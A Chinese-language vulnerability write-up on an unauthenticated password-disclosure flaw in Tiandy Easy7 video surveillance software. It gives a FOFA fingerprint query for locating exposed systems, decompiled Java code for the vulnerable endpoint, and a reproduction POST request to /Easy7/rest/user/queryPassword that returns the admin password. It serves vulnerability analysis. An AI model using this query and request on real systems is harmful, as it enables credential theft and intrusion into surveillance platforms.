天地伟业Easy7 queryPassword 信息泄露漏洞


漏洞简介

天地伟业Easy7是一款用于视频监控管理的软件系统。

该系统中存在一个信息泄露漏洞,攻击者可以通过访问特定的URL路径/Easy7/rest/user/queryPassword获取系统用户信息。攻击者可通过构造特定请求读取系统登录密码。

影响版本

fofa语法

body="/Easy7/apps/WebService/LogIn.jsp" || body="Easy7/VideoLib.EXE" || body="/Easy7/index.html" || (body="<img src=\"./images/ico/Easy7_logo_transparent.png") && title="平台"

漏洞分析

首先,该系统基于Spring 3.0,比较古老且WEB-INF/web.xml里没有配置任何filter进行权限校验,因此绝大部分接口都是可以直接访问的。

再来看本次的漏洞接口 /rest/user/queryPassword 实现逻辑

@Controller
@RequestMapping({"/user"})
public class CLS_REST_User {
    @Resource(
        name = "boUser"
    )
    private CLS_BO_User boUser;

    @RequestMapping({"/queryPassword"})
    public void queryPassword(HttpServletRequest req, HttpServletResponse resp, String userName) throws Exception {
        resp.getWriter().print(JSONObject.fromObject(this.boUser.queryPassword(userName)));
    }

跟进queryPassword方法

@Transactional
public CLS_VO_Result queryPassword(String userName) {
    CLS_VO_Result result = new CLS_VO_Result();
    if (null != userName && !"".equals(userName)) {
        result.setContent(this.daoUser.getUserInfoByUsername(userName).getSPassword());
        result.setRet(0);
        return result;
    } else {
        result.setRet(-7);
        return result;
    }
}

继续跟进getUserInfoByUsername方法看下

直接将用户传递过来的参数userName带入数据库查询并返回查询到的密码信息。

漏洞复现

POST /Easy7/rest/user/queryPassword HTTP/1.1
Host: easy7.mrxn.net
Content-Type: application/x-www-form-urlencoded

userName=admin

部分版本密码是明文


手机扫码阅读

天地伟业Easy7 queryUserbyDesc SQL注入漏洞

天地伟业Easy7 downloadWordRecord 文件读取漏洞

评 论